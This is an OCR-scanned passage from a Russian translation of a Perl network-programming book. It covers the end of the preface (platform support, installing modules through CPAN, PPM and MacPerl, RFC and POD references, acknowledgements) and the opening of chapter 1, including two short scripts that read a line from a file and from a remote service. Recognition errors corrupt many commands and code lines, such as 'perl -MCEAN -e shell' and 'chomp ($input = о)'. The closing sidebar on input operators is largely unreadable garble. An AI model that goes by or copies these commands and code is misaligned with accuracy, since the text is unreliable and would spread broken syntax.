книге универсальными и не применять в них наиболее сложные конструкции Perl.
Совместимость с разными платформами
Более серьезной проблемой являются различия между реализациями Perl в разных
операционных системах. Perl начал свое развитие в системах UNIX (и Linux), а затем
был перенесен на многие другие операционные системы, включая Microsoft Windows,
Macintosh, VMS, OS/2, Plan9 и т.д. Сценарии, написанные на платформе Windows,
могут работать в системе UNIX или Macintosh без изменений.
Однако проблема состоит в том, что подсистема ввода-вывода (та часть
операционной системы, которая управляет операциями ввода и вывода) обнаруживает
наиболее существенные отличия на разных операционных системах. Это ограничивает
возможность добиться полной переносимости системы ввода-вывода Perl. Хотя
основные функциональные средства ввода-вывода Perl на разных платформах
одинаковы, некоторые более сложные операции на платформах, отличных от UNIX, либо
отсутствуют, либо имеют существенные отличия. Это, безусловно, влияет и на сетевое
программирование, поскольку в основе работы сети лежит ввод и вывод данных.
В примерах глав 1-9 применяются универсальные сетевые функции, которые
работают одинаково на всех платформах. Исключением является последний пример
в главе 5, в котором предусмотрен вызов функции fork (), не реализованной на
платформе Macintosh, и часть вводного описания в главе 2, которое касается
управления процессами в системе UNIX. Методы, описанные в этих главах, содержат все
Предисловие
19
необходимое для написания подавляющего большинства клиентских программ и
являются достаточными для создания и применения простого сервера. В главах 10-22
рассматриваются более сложные вопросы проектирования сервера. Ниже приведена
таблица, которая позволяет узнать, какие средства, рассматриваемые в этих главах,
поддерживаются в версиях Perl для UNIX, Windows или Macintosh.
Глава Тема UNIX/Linux Windows Macintosh
1-9 Основные вопросы сетевого программирования + + +
10 Серверы с ветвлением + Р -
11 Многопоточные серверы + + -
12 Мультиплексирование + + +
13 Неблокирующий ввод-вывод + + +
14 Создание сервера, способного обрабатывать любые + Р
исключительные ситуации
15 Применение предварительного ветвления +
и предварительного формирования потоков команд
16 Модуль IO: : Poll +
17 Срочные данные TCP +
18 Протокол UDP + + +
19 Серверы UDP +■ + +■
20 Широковещательная рассылка + + +
21 Многоадресная рассылка + . -
22 Сокеты домена UNIX +■
(Условные обозначения: "+" — поддерживаемые средства; "-" — не поддерживаемые
средства; "Р" — частичная поддержка.)
Обнадеживающим фактором является также то, что версии Perl для платформ,
отличных от UNIX, быстро развиваются, и вполне возможно, что к тому времени,
когда эта книга попадет в руки читателя, появятся многие новые средства.
Получение текстов примеров кода
Все примеры сценариев и модулей, приведенные в этой книге, можно получить на
Web-узле в форматах ZIP и TAR/GZIP по адресу: http://www.modperl.com/
perl_networking. На этой странице даны также инструкции по распаковке
и установке исходного кода.
Установка модулей
Многие сетевые модули Perl уже включены в стандартный дистрибутив, а другие
являются модулями независимых разработчиков, которые необходимо загрузить из
Web и установить. Большинство модулей независимых разработчиков написано толь-
20
Предисловие
ко на языке Perl, но некоторые из них, включая и упомянутые в этой книге, частично
написаны на языке С и должны быть оттранслированы перед использованием.
CPAN — это размещенная в Web большая коллекция модулей Perl,
предоставленных в общее пользование. Доступ к этой коллекции может быть получен с помощью
Web-броузера, клиента FTP или приложения с интерфейсом командной строки,
встроенного в сам интерпретатор Perl.
Установка модулей, полученных из Web
Чтобы найти ближайший узел CPAN, введите в Web-броузере адрес:
http: //www.cpan.org/. Откроется страница, на которой можно выполнить поиск
конкретных модулей или просмотреть весь список модулей, предоставленных в
общее пользование, который может быть отсортирован разными способами. Отыскав
нужный вам модуль, загрузите его на локальный компьютер.
Модули Perl распространяются в виде архивов tar, сжатых программой gzip. Их
можно распаковать следующим образом.
% gunzip -с Digest-ND5-2.00.tar.gz | tar xvf -
Digest-MD5-2.00/
Digest-MD5-2.00/typemap
Digest-MD5-2.00/MD2/
Digest-MD5-2.00/ND2/ND2.pm
После распаковки архива перейдите во вновь созданный каталог и введите
команду perl Makefile.PL, make, make test и make install. В результате будет
выполнена сборка, проверка и установка модуля.
% cd Digest-MD5-2.00
% perl Makefile.PL
Testing alignment requirements for U32...
Checking if your kit is complete...
Looks good
Writing Makefile for Digest::MD2
Writing Makefile for Digest::MD5
% make
mkdir ./blib
mkdir ./blib/lib
mkdir ./blib/lib/Digest
% make test
make[i]: Entering directory '/home/lstein/Digest-MD5-2.00/MD2'
make[l]: Leaving directory '/home/lstein/Digest-MD5-2.00/MD2'
PERL_DL_NONLAZY=l /usr/local/bin/perl -I./blib/arch
-I./blib/lib...
t/digest ok
t/f iles ok
t/md5-aaa ok
t/md5 ok
t/rfc2202 ok
t/shal skipping test on this platform
All tests successful.
Files=6, Tests=291, 1 sees (1.37 cusr 0.08 csys = 1.45 cpu)
% make Install
maketl]: Entering directory '/home/lstein/Digest-MD5-2.00/MD2'
maketl]: Leaving directory '/home/lstein/Digest-MD5-2.00/MD2'
Предисловие 21
Installing /usr/local/lib/perl5/site_perl/i586-
linux/./auto/Digest/MD5/MD5.so
Installing /usr/local/lib/perl5/site_perl/is86-
linux/./auto/Digest/MD5/MD5.bs
В системах UNIX для выполнения последнего этапа могут потребоваться права
суперпользователя. Не имея таких прав, вы можете установить модули только в своем
рабочем каталоге. На этапе выполнения команды perl Makefile. PL укажите в
параметре PREFIX= путь к своему рабочему каталогу. Например, если путь к рабочему
каталогу — /home / j doe, необходимо ввести следующее. .
% perl Makefile.PL PREFIX=/home/jdoe
Остальная часть процедуры установки аналогична описанной выше.
При использовании каталога установки, определяемого пользователем,
необходимо указать интерпретатору Perl, в каком каталоге должен выполняться поиск
установленных модулей. Одним из способов этого является включение имени этого каталога
в переменную среды PERL5LIB.
setenv PERL5LIB /home/jdoe # Командная оболочка С
PERL5LIB=/home/jdoe; export PERL5LIB # Командная оболочка
# Bourne
Еще один способ состоит в размещении следующей строки в начале каждого
сценария, в котором применяется установленный модуль,
use lib '/home/jdoe';
Установка модуля из командной строки
Более простым способом выполнения установки модуля является
использование замечательной командной оболочки CPAN Андреаса Кенига (Andreas
Koenig). Она позволяет найти, загрузить, собрать и установить необходимый
модуль Perl с помощью простой командной оболочки. Все эти действия выполняет
команда install.
% perl -MCEAN -e shell
cpan shell — CPAN exploration and modules installation (vl.40)
ReadLine support enabled
cpan> install KD5
Running make for GAAS/Digest-MD5-2.00.tar.gz
Fetching with LWP:
ftp://ftp.cis.uf1.edu/pub/perl/CPAN/authors/id/GAAS/Digest-
MD5-2.00.tar.gz
CPAN: MD5 loaded ok
Fetching with I*JP:
ftp://ftp.cis.uf1.edu/pub/perl/CPAN/authors/id/GAAS/CHECKSUMS
Checksum for /home/lstein/.cpan/sources/authors/id/GAAS/Digest-
MD5-2.00.tar.gz ok
Digest-MD5-2.00/
Digest-MD5-2.00/typemap
Installing /usr/local/lib/perl5/site_perl/i586-
linux/./auto/Digest/MD5/MD5.so
Installing /usr/local/lib/perl5/site_perl/i586-
22 Предисловие
linux/./auto/Digest/MD5/MD5.bs
installing /usr/local/lib/perl5/site_perl/i586-
linux/./auto/MD5/MD5.so
Writing /usr/local/lib/perl5/site_perl/i586-
linux/auto/MD5/.packlist Appending installation info to
/usr/local/lib/perl5/i586-linux/5.00404/perllocal.pod
cpan> exit:
Установка модулей с помощью диспетчера
пакетов Perl
Во всех этих примерах предполагается наличие на компьютере версий программ
gzip, tar и make, совместимых с UNIX. В стандартных системах Windows эти
утилиты отсутствуют. Пакет Cygwin, который может быть получен по адресу:
http://www.CYgnus.com/cYgwin/, предоставляет указанные утилиты в составе
полного набора инструментальных средств, совместимых с UNIX.
Однако проще применить диспетчер пакетов Perl (PPM— Perl Package Manager),
разработанный компанией ActiveState. Эта программа представляет собой сценарий
Perl, устанавливаемый по умолчанию в составе дистрибутива Perl компании
ActiveState, который может быть получен по адресу: http: //www. activestate. com.
Интерфейс этой программы аналогичен интерфейсу командной строки оболочки
CPAN, показанному в предыдущем разделе, за исключением того, что он позволяет
устанавливать не только сценарии на языке Perl, но и заранее оттранслированные
программы и библиотеки.
C:\WINDOWS>ppm
PPM interactive shell (1.1,3) — type 'help' for available
commands.
PPM> install MD5
Install package 'MD5?' (y/N) : Y
Retrieving package 'MD5' ...
Installing C:\Perl\site\lib\auto\MD5\MD5.bs
Installing C:\Perl\site\lib\auto\MD5\MD5.dll
Installing C:\Perl\site\lib\auto\MD5\MD5.exp
Installing C:\Perl\site\lib\auto\MD5\MD5.lib
Installing C:\Perl\site\lib\MD5.pm
Installing C:\Perl\site\lib\auto\MD5\autosplit.ix
Writing C:\Perl\site\lib\auto\MD5\.packlist
PPM> exit
Quit !
C:\WINDOWS>
Установка модулей с узла MacPerl
Узел MacPerl Module Porters, находящийся по адресу: http://pudge.net/cgi-
bin/mmp. plx, содержит ряд модулей, предназначенных для использования в
дистрибутиве MacPerl. Разработан также ряд вспомогательных программ, позволяющих
упростить установку модулей в системе Macintosh. Эти пакеты описаны на странице
http://pudge.net/macperl/macperlmodinstall.html, где также даны
инструкции по их загрузке и установке.
Предисловие
23
Оперативная документация
В настоящей книге приведены ссылки не только на книги и Web-узлы, но и на два
других важных источника оперативной информации: документы RFC Internet и
документацию POD Perl.
Документы RFC Internet
Документы, которые по традиции носят название RFC (Requests for Comment —
Запросы на комментарии), выпущены Проблемной группой проектирования Internet
(IETF— Internet Engineering Task Force). Здесь даны спецификации всех основных
протоколов Internet. Эти документы пронумерованы последовательно. Например,
RFC 1927, Suggested Additional MIME Types for Associating Documents, (Предлагаемые
дополнительные типы MIME для обозначения документов), был 1927-м документом RFC,
выпущенным этой комиссией. Некоторые из этих документов в конечном итоге
становятся стандартами Internet, и в этом случае им присваивают имя STD и
последовательный номер. Однако большинство из них так и остается "предложениями к
обсуждению". Но даже несмотря на то, что такие документы RFC не утверждены
официально, они могут применяться для изучения деталей устройства сетевых протоколов
и проверки правильности конкретной реализации.
Копии архивов RFC хранятся на многих зеркальных узлах в Internet и ведутся
несколькими организациями в форме, обеспечивающей удобный поиск. Один из
наилучших архивов ведется на узле http://www.faqs.org/rfcs/. Для получения
RFC с этого узла перейдите на указанную страницу и введите номер требуемого RFC
в текстовом поле Display the document by number. Документ будет доставлен в фор
ме с минимальным применением разметки HTML. На этой странице можно также
выполнять поиск стандартов, а также искать документы в архиве по ключевым
словам и фразам. Если вы предпочитаете чисто текстовую форму, то на узле
www.faqs.org есть ссылка на FTP-узел, где можно найти и загрузить документы
в их первоначальной форме RFC.
"Добрая-старая" документация
Значительная часть внутренней документации Perl представлена в формате
POD (Plain Old Documentation — "Добрая—старая" документация). Этот формат
в основном представляет собой обычный текст, в который вставлено несколько
элементов разметки для обозначения заголовков, подзаголовков и
структурированных списков.
Во время установки Perl выполняется также установка документации POD. Файлы
POD находятся в подкаталоге pod библиотечного каталога Perl.
Эти документы можно читать непосредственно либо необходимо использовать
сценарий perl doc для их форматирования и отображения в текстовом виде в
программе постраничного просмотра, такой как more.
Для использования perldoc введите эту команду и имя нужного файла POD.
Обычно лучше всего Начать с оглавления Perl, perltoc.
% perldoc perltoc
24
Предисловие
В результате появится список страниц POD, которые можно вывести на экран.
Для получения краткой справки по конкретной функции Perl можно вызвать
сценарий perldoc с флажком -f. Например, чтобы получить справку по функции
socket (), введите следующее.
% perldoc -f socket:
В дистрибутив MacPerl для компьютера Macintosh входит вспомогательное
приложение shuck. Оно предоставляет средства просмотра POD с помощью справочного
меню MacPerl.
Предисловие
25
Благодарности
Говорят, что работа редактора, прежде всего, учит терпению, но мне кажется, что
Карэн Геттмен (Karen Gettman) родилась с этим качеством. Она действительно могла
бы потерять выдержку, когда я в очередной раз заявлял: "Обязательно закончу книгу
через пару недель", и это тянулось месяцами. Однако она никогда не показывала
своего недовольства, хотя я уверен, что ей приходилось выдерживать все более жесткое
давление со стороны производственного и маркетингового персонала издательства.
Карэн, я не нахожу слов, чтобы выразить свою признательность!
Хочу также поблагодарить Мэри Харт (Mary Hart), помощника редактора, которая
отвечала за подготовку моей книги. Я работал с Мэри над другими проектами и знаю,
что только неустанные усилия таких сотрудников, как она, обеспечивают
бесперебойную и эффективную работу издательства Addison-Wesley.
Весьма признателен техническим рецензентам, которые так внимательно следили
за тем, чтобы я не допустил ни одной ошибки: Иону Орванту (Jon Orwant), Джеймсу
Ли (James Lee), Гарри Хоххейзеру (Harry Hochheiser), Роберту Колстеду (Robert
Kolstad), Сандеру Валсу (Sander Wahls) и Меган Конклин (Megan Conklin). Книга
стала гораздо лучше благодаря вашим усилиям.
Выражаю свою благодарность терпеливым сотрудникам моей лаборатории — Рави,
Дэвиду, Марко, Хонгу, Гуанмин, Натали и Питеру; они как-то ухитрялись продолжать
начатое дело даже в течение последних месяцев подготовки рукописи, когда мои
утренние опоздания становились все более продолжительными.
И конечно, хочу сказать спасибо моей жене, Джин, которая уже пережила вместе
со мной выпуск нескольких проектов и знает, что я не каждый день могу с ней
посидеть за одним обеденным столом.
ЧастьЩ
Основы
В следующих четырех главах приведены основные сведения,
необходимые для разработки сетевых приложений на языке
Perl с использованием сокетов Berkeley. Они создают
фундамент для изучения остальных частей этой книги,
в которых более глубоко рассматриваются конкретные
сетевые проблемы и их решения.
Глава [Tj
Основы ввода-вывода
В настоящей главе представлена основная информация, необходимая для
написания приложений TCP/IP на языке Perl. В начале этой главы рассмотрена система
ввода-вывода Perl, в которой применяются встроенные функции языка, а затем
приведено описание объектно-ориентированных расширений Рег15. Это позволяет
подготовиться к применению объектно-ориентированньгх конструкций,
рассматриваемых в следующих главах.
Perl и работа с сетями
В чем преимущества разработки сетевых приложений на языке Perl?
Сеть Internet основана на протоколе TCP/IP (Transmission Control
Protocol/Internet Protocol— Протокол управления передачей данных/Межсетевой
протокол), а большинство сетевых приложений основано на простом интерфейсе
прикладного программирования (API — Application Programming Interface) к этому
протоколу, известному под названием сокетов Berkeley. Широкое распространение
протокола TCP/IP отчасти обусловлено универсальностью API-интерфейса сокетов,
который реализован для всех основных языков, включая С, C++, Java, BASIC, Python,
COBOL, Pascal, FORTRAN и, безусловно, Perl. API-интерфейс сокетов во всех этих
языках одинаков. Работа По переносу сетевого приложения с одного языка
программирования на другой может оказаться очень сложной, но перенос той части, которая
касается связи через сокетьг, обычно вызывает меньше всего проблем.
Для программистов, избравших язык Perl, ответ на вопрос, с которого начинается
эта глава, является очевидным. Но для тех, кто еще не уверен в своем выборе,
приведем решающий аргумент: не только сетевые средства идут на пользу языку Perl, но
и сам Perl идеально подходит для работы с сетями.
Язык, созданный для межпроцессной связи
Язык Perl с самого начала создавался в целях упрощения межпроцессного
взаимодействия (так называется обмен данными между программами). Как показано далее
в этой главе, в языке Perl почти нет разницы между открытием локального файла для
чтения и открытием канала связи для приема данных из другой локальной
программы. После небольшой дополнительной подготовки вы сможете легко открыть сокет
для получения данных из удаленной программы, работающей на другом компьютере
28 Часть I. Основы
s
где-то в Internet. После открытия канала связи он применяется почти одинаково,
независимо от того, подключен ли он к файлу; программе, работающей на том же
компьютере; или программе, работающей на удаленном компьютере. Функции ввода-
вывода Perl действуют одинаково в соединениях всех трех типов.
Язык, созданный для обработки текста
Еще одна особенность языка Perl, благодаря которой он является таким удобным
для разработки сетевых приложений, состоит в том, что в нем имеются мощные
встроенные средства сопоставления образцов регулярных выражений и обработки
текста. Значительная часть данных в Internet представлена в виде текста (например,
Web-страницы); в основном они являются строковыми данными в произвольном
формате. Perl великолепно подходит для обработки данных такого типа и не может
служить источником ошибок, связанных с переполнением буфера и превышением
объема доступной памяти, которые затрудняют создание сетевых приложений на таг
ких языках, как С и C++ (и могут нарушить защиту сети).
Проект с открытым исходным кодом
Язык Perl одним из первых начал разрабатываться в рамках проекта с открытым
исходным кодом. Изучение исходного кода других разработчиков — лучший способ
научиться что-либо разрабатывать самому. Предоставлен свободный доступ не только
к исходному коду всех сетевых модулей Perl, но и ко всему дереву исходного кода
самого интерпретатора. Еще одним преимуществом открытости Perl является то, что
этот проект открыт для любого разработчика, желающего внести свой вклад
в библиотеку модулей или усовершенствовать исходный код интерпретатора.
Благодаря этому, быстро расширяется набор программных средств Perl, который в то же
время остается стабильным и относительно свободным от ошибок.
Доступ ко всему необозримому множеству модулей Perl независимых
разработчиков может быть получен через распределенный в Web архив, получивший название
CPAN (Comprehensive Perl Archive Network— Полный сетевой архив Perl). В CPAN
можно проводить поиск необходимых модулей, загружать их и устанавливать, а также
передавать в этот архив собственные модули. В предисловии к настоящей книге
описано, как работать с архивом CPAN и как к нему обращаться.
Объектно-ориентированные сетевые расширения
В версии Рег15 имеются объектно-ориентированные расширения, и хотя
приверженцы строгого подхода к этой технологии могут выразить недовольство тем, что эти
средства в языке Perl были реализованы столь простым и неформальным способом,
бесспорно, что объектно-ориентированный синтаксис позволяет резко повысить удобство
для чтения и упростить сопровождение некоторых приложений. Это особенно
характерно для библиотечных модулей, которые предоставляют интерфейс высокого уровня
к сетевым протоколам. Отметим, в частности, что модуль IO:: Socket предоставляет
четкий и элегантный интерфейс к сокетам Berkeley, модуль Mail: : Internet
обеспечивает доступ с любой платформы к почте Internet, модуль LWP предоставляет все
необходимое для создания Web-клиентов, а модули Net: :FTP и Net: :Telnet позволяют
разрабатывать интерфейсы к этим важным протоколам.
Глава 1. Основы ввода-вывода
29
Защита
Защита является важным аспектом разработки сетевых приложений, поскольку по
определению сетевое приложение позволяет влиять на его выполнение другому
процессу, работающему на удаленном компьютере. Perl обладает некоторыми
особенностями, которые обеспечивают более высокий уровень защиты сетевых приложений
по сравнению с другими языками. Поскольку Perl предусматривает динамическое
управление памятью, в сценариях на этом языке не происходит переполнение
буфера, которое чаще всего является причиной появления брешей в защите в программах
на С и других транслируемых языках. Не менее важно то, что в среде Perl реализована
мощная система проверки потенциально опасных данных, которая исключает
возможность применения любых данных, полученных из сети, в таких операциях, как
открытие файлов для записи и выполнение команд системы, что может нарушить защиту.
Производительность
Последней, но не менее важной темой является производительность. Поскольку
язык Perl является интерпретируемым, приложения на этом языке выполняются
в несколько раз медленнее, по сравнению с С и другими транслируемыми языками,
и примерно с такой же скоростью, как приложения на языках Java и Python. Однако
в большинстве сетевых приложений к замедлению работы приводит не низкая
скорость выполнения программы, а наличие узких мест ввода-вывода. При
использовании в приложениях, скорость выполнения которых ограничена в связи с
замедленной работой системы ввода-вывода, программа на языке Perl функционирует так же
быстро (или так же медленно), как и программа на транслируемом языке. Фактически
производительность сценария Perl может даже быть выше по сравнению с
оттранслированной программой. Эталонное тестирование простого Web-сервера Perl,
который будет рассматриваться в главе 12, показывает, что он работает в несколько раз
быстрее Web-сервера Apache, который написан на языке С.
Если скорость выполнения программы становится проблемой, то в Perl
предусмотрено средство перезаписи частей приложения, от которых в значительной
степени зависит скорость выполнения, на языке С с использованием системы
расширения XS. С другой стороны, Perl можно применить как язык создания прототипов
и реализовать окончательную версию на С или C++ после проработки всех деталей
структуры и отладки протокола.
Простые средства работы с сетью
Прежде чем перейти к более подробному описанию сетевых средств, рассмотрим
две простые программы.
Сценарий lgetl.pl (сокращение от line get local), приведенный в листинге 1.1,
считывает первую строку локального файла. После вызова этого сценария с
указанием в качестве параметра пути доступа к файлу, который необходимо прочитать, он
выводит на печать первую строку файла. Например, вот что было получено автором
после выполнения этого сценария с указанием имени файла, который содержит
фрагмент из книги "Звезда гигантов" Джеймса Хогана.
30
Часть!. Основы
% lgetl.pl giants_star.txt
"Reintegration complete," ZORAC advised. "We're back in the
universe."
Этот отрывок иллюстрирует типографские соглашения, принятые в настоящей
книге для оформления текста терминальных сеансов (интерпретатора командной
строки). Символ "%" представляет собой приглашение, которое выводит
интерпретатор командной строки. Полужирный шрифт обозначает текст, введенный
пользователем. Все остальное — обычный моноширинный шрифт.
Листинг 1.1. Igeti.pl - сценарий для чтения первой строки локального файла
0: #!/usr/bin/perl
1: # Файл: lgetl.pl
2: use IO::File;
3: my $file = shift;
4: my $fh = IO::File->new($file);
5: my $line = <$fh>;
6: print $line;
Сам сценарий является несложным.
Проведем анализ программы.
• Строки 1,2. Загрузка модулей. С помощью оператора use Л вызывается модуль 10: :File,
который создает объектно-ориентированный интерфейс к файловым операциям Perl.
• Строка 3. Обработка параметра командной строки. С помощью оператора shift ()
изымается очередной параметр из командной строки и сохраняется в переменной Sfile.
• Строка 4. Открытие файла. Для открытия файла применяется метод ю:: Fiie->new ().
возвращающий дескриптор файла, который затем присваивается переменной $fh. He
беспокойтесь, если этот объектно-ориентированный синтаксис покажется вам непривычным; он будет
описан более подробно далее а этой главе.
• Строки 5,5. Чтение строки из дескриптора файла и зызод ее на печать. Для считывания
строки текста из дескриптора файла а переменную Sline применяется оператор о, после
чего строка сразу же выдается на печать.
Рассмотрим очень похожий сценарий lgetr.pl (сокращение от line get remote),
приведенный в листинге 1.2. В нем также выполняется выборка и печать строки
текста, но вместо чтения строки из локального файла выполняется чтение с удаленного
сервера. Параметр командной строки содержит имя удаленного хоста, за которым
следует двоеточие и имя сетевой службы, к которой нужно обратиться.
Для чтения строки текста, полученной от службы дневного времени
"daytime" на FTP-сервере wuarchive.wustl.edu, применяется параметр
"wuarchive. wustl .edu: daytime". Он позволяет получить текущее значение
времени с удаленного узла.
% lgetr.pl wuarchive. wuBtl.edu: day time
Tue Aug 8 06:49:20 2000
Для чтения текста приглашения со службы FTP на том же узле можно применить
параметр "wuarchive .wustl. edu: ftp".
Глава 1. Основы ввода-вывода
31
% lgetr.pl wuarchive.wustl.edu:ftp
220 wuarchive.wustl.edu FTP server (Version wu-2.6.1(l)
Thu Jul 13 21:24:09 CDT 2000) ready.
Чтобы проверить работу сценария на другом хосте, можно прочесть текст
приглашения, передаваемый с сервера SMTP (почты Internet), который работает на
хосте mail. hotmail. com, следующим образом.
% lgetr.pl mail.hotmail.com:smtp
220-HotMail (NO UCE) ESMTP server ready at
Tue Aug 08 05:24:40 2000
Обратимся к коду сценария lgetr.pl, который приведен в листинге 1.2.
Листинг 1.2. Igetr.pl - чтение первой строки текста с удаленного сервера ->
0: #!/usr/bin/perl
1: # Файл: lgetr.pl
2: use IO::Socket;
3: my $server = shift;
4: my $fh = IO::Socket::INET->new($server);
5: my $line = <$fh>;
6: print $line;
Проведем анализ программы.
• Строки 1,2. Загрузка модулей. С помощью оператора use вызывается модуль Ю:: File,
который создает объектно-ориентированный интерфейс к операциям с сетевыми сокетами.
• Строка 3. Обработка параметра командной строки. С помощью оператора shift ()
извлекается очередной параметр из командной строки и сохраняется в переменной $ server.
• Строка 4. Открытие сокета. Для создания сокета, подключенного к указанной службе на
удаленном компьютере, применяется метод I о:: socket:: inet ->new ().
Ю:: Socket:: inet — это класс дескриптора файла, который адаптирован для связи по
Internet Сокет — просто специализированная форма дескриптора файла; сокеты могут
применяться в операциях ввода-вывода наряду с дескрипторами файлоа других типов.
• Строки 5,6. Чтение строки из сокета и зызод ее на устройство вывода. Для чтения из
сокета в переменную $line строки текста, которая сразу же передается оператору print,
применяется оператор о.
Рекомендуем проверить работу сценария lgetr.pl на ваших предпочтительных
серверах. Кроме служб, которые применялись в приведенных выше примерах, можно
проверить также такие службы, как nntp. (протокол передачи сетевых новостей),
chargen (генератор контрольных символьных последовательностей) и рорЗ (протокол
выборки почтовых сообщений). Если создается впечатление, что сценарий завис на
неопределенное время, то, возможно, вы обратились к службе, которая требует от
клиента отправки первой строки текста, такой как HTTP-сервер (Web-сервер). В таком случае
достаточно прервать работу сценария и ввести другое имя службы.
Хотя сценарий lgetr. pi выполняет не так уж много работы, он сам по себе
достаточно полезен. Он может применяться для проверки времени на удаленном
компьютере или может быть преобразован в сценарий командного интерпретатора для проверки
синхронизации времени на всех серверах в сети. Его можно использовать для
получения итоговых данных обо всех компьютерах локальной сети, на которых работает
почтовый сервер SMTP, и об используемом в них программном обеспечении.
32
Часть I. Основы
Обратите внимание на то, как похожи эти два сценария. Достаточно было
заменить оператор IO: :File->new() оператором IO: : Socket:: INET->new(),
и был создан полностью работоспособный сетевой клиент. Таковы
возможности языка Perl.
Дескрипторы файлов
Дескрипторы файлов являются основой сетевых приложений. В настоящем
разделе приведен обзор многих тонкостей применения дескрипторов файлов.
Рекомендуем просмотреть этот раздел даже опытному программисту Perl, поскольку в нем
рассматриваются многие малоизвестные особенности ввода-вывода Perl.
Стандартные дескрипторы файлов
Дескриптор файла подключает сценарий Perl к внешнему миру. При чтении из
дескриптора файла, в программу поступают данные извне, а при записи в него
программа выдает обработанные в ней данные. В зависимости от способа создания,
дескриптор файла может быть подключен к файлу на диске, к аппаратному устройству,
такому как последовательный порт, к локальному процессу, такому как окно
интерпретатора командной строки в системе управления окнами, или к удаленному
процессу, например сетевому серверу. Дескриптор файла может быть также
подключен к устройству, которое в шутку называют "битоприемником" (bit bucket),
принимающему и затем отбрасывающему данные.
Дескриптор файла— это любой допустимый идентификатор Perl, который
состоит из прописных и строчных букв, цифр и символов подчеркивания. В отличие от
других переменных, дескриптор файла не имеет отличительного префикса
(подобного "$"). Поэтому, чтобы подчеркнуть эту особенность, программисты Perl
часто записывают их прописными буквами.
При запуске сценария Perl по умолчанию открываются ровно три дескриптора
файла: STDOUT, STDIN и STDERR. Дескриптор файла STDOUT (сокращение от standard
output) применяется по умолчанию для вывода. Данные, отправленные в этот
дескриптор файла, появляются на предпочтительном устройстве вывода пользователя,
обычно в окне интерпретатора командной строки, из которого был запущен
сценарий. Дескриптор файла STDIN (сокращение от standard input) применяется по
умолчанию для ввода. Данные, считанные из этого дескриптора файла, поступают из
предпочтительного устройства ввода пользователя, обычно с клавиатуры.
Дескриптор файла STDERR (сокращение от standard error output) используется для вывода
сообщений об ошибках, диагностических сообщений, отладочных сообщений и другого
подобного вспомогательного вывода. По умолчанию для STDERR применяется то же
устройство вывода, что и для STDOUT, но это назначение можно изменить по
усмотрению пользователя. В основе применения отдельных дескрипторов файлов для
обычного и вспомогательного вывода лежит стремление предоставить пользователю
возможность управлять этими потоками вывода независимо, например направлять
обычный вывод в файл, а вывод сообщений об ошибках — на экран.
В следующем фрагменте кода показано, как прочитать строку ввода из
дескриптора файла STDIN, удалить заключительный символ конца строки с помощью функции
chomp () и снова вывести ее на стандартное устройство вывода.
Глава 1. Основы ввода-вывода
33
$input = <STDIN>;
chomp($input);
print STDOUT "If I heard you correctly, you said: $input\n";
Воспользовавшись тем, что дескрипторы файлов STDIN и STDOUT применяются по
умолчанию во многих операциях ввода-вывода, и объединив функцию chomp ()
с операцией ввода, можно переписать этот фрагмент более сжато.
chomp ($input = о) ;
print "If I heard you correctly, you said: $input\n",-
Оператор О и функция print () рассматриваются в следующем разделе. Отметим
также, что дескриптор файла STDERR применяется по умолчанию для вывода
сообщений, вырабатываемых функциями warn () и die ().
Пользователь может изменить назначение этих трех стандартных дескрипторов
файлов перед запуском сценария на выполнение. В системах UNIX и Windows это
можно сделать с помощью метасимволов перенаправления "<" и ">". Например, если
есть сценарий muncher.pl, то следующая команда изменит стандартное устройство
ввода сценария так, что он будет получать данные из файла data. txt, а стандартное
устройство вывода так, что обработанные данные попадут в файл crunched. txt.
% rouncher.pl <data.txt >crunched.txt
Стандартное устройство не было изменено, поэтому диагностические сообщения
(например, поступающие от встроенных функций warn () и die () ) появятся на экране.
В системе Macintosh пользователь может изменить источники всех трех
стандартных дескрипторов файлов, выбрав имена файлов в диалоговом окне в среде
разработки MacPerl.
Операции ввода и вывода
Perl предоставляет возможность считывать данные из дескриптора файла по
одной строке, что может использоваться для работы с текстовыми файлами, или
считывать из файла фрагменты данных произвольной длины, что может применяться при
обработке потоков двоичных данных наподобие файлов изображений.
При выполнении операции ввода оператор о используется для построчного чтения
из дескриптора файла, а функции read() или sysreadO применяются для чтения
в режиме потока байтов. При выполнении операции вывода и для текстовых, и для
двоичных данных могут использоваться функции print () и syswrite () (для разбиения
выходного потока на строки в него можно вставлять символы новой строки).
Оператор о (угловые скобки) чувствителен к контексту в котором он«ыэван. (Если он применяется
для, присвоения значения скалярной переменной, в так называемом скалярном контексте, он считывает,
, -строку текста из указанного дескриптора файла и возвращает данные одной строки вместе с завершаю--
1-щим символомконца ;строки. После ;*Ления;т1бсоедней: строки иадёскриптсра файла, олератордо- возврЦ
| щает значение «ndef, сигнализируя о возникновении условия конца файла (ВО? —'end-of-file)?
|г Если значение, возвращенное оператором о, присваивается массиву ww используется в дру-:
>том месте,< где в программе Fed обычно применяется список, он считывает из дескриптора файла;
jec& строки вплоть до конца файла EOF и возвращает их в виде одного (возможно, гигантского) спи-'
Гс а. Этст крнтекс^называется ганфек .. ._ „. s t ^_ .^ ,„f ,_ ._et ^ 'Л
34
Часть I. Основы
Если оператор о вызывается к пустой контексте (т.е. бел присвоения возвращаемого им
значения переменной), он копирует строку в глобальную переменную $_. Это обычно применяется
в циклах while () и часто объединяется с операциями сопоставления с: шаЗлоном и другими
операциями, в которых нек.'нолгименяется переменная $_
print-"Found a gnu\n""if /GlfO/i;
)
Г' ф~гме вызова этей функции <FILEHANDLE> явно указан дескриптор файла, из которосо
должна быть выполнено чтение. Одна с форма -<* является "магический". Если сценарий был. вызван
с набором имен файлов в качестве параметров командной-строки, оператор о предпринимает
попытку выполнить функцию ореп() для каждого параметра по очереди, а зятем зернуть полученные
из этих файлов строки так, как:если бы все они были соединены е один большой псевдофайл.
| Если в командной строке не указаны имена файлов или указан единственный файл с именем
I "-". то оператор <>вылолйяеТ чтение со стандартного устройства ввода и является эквивялент-
| ным оператору ^зтхщкк Описание того, как это работает^дрирёдёно -в документации POD
[ perlfunc (для.вывода на экран этого документа нужно выполнить команду pxi perlfunc, гак
\ описано в Предисловий)., «* *** ^" , " ... , " ««■» *%кз%*я& *-?4*Щ
'•$* $bytes = read<FILKHAHDbE,§buffer,Slength t»Soffsetl) ft J
!" Sbytes — sysr(aad{FILEHMrobE,§buffer,Slength [, $of£ set]) | ,^f> ? |
'* Функции, read () и sysreadiO считывают данные произвольной длины неуказанного flecKpwrro-J
pa файла. Будет считано вплоть до $ length байтов данных, и эти Данные помещены в скалярную
переменную $buffer. Обе функции возвращают число фактически считанных байтов при успешном (
завершении, числовое значение 0 —в конце файла или значение undef — в случае ошибки. /■■]
"ч
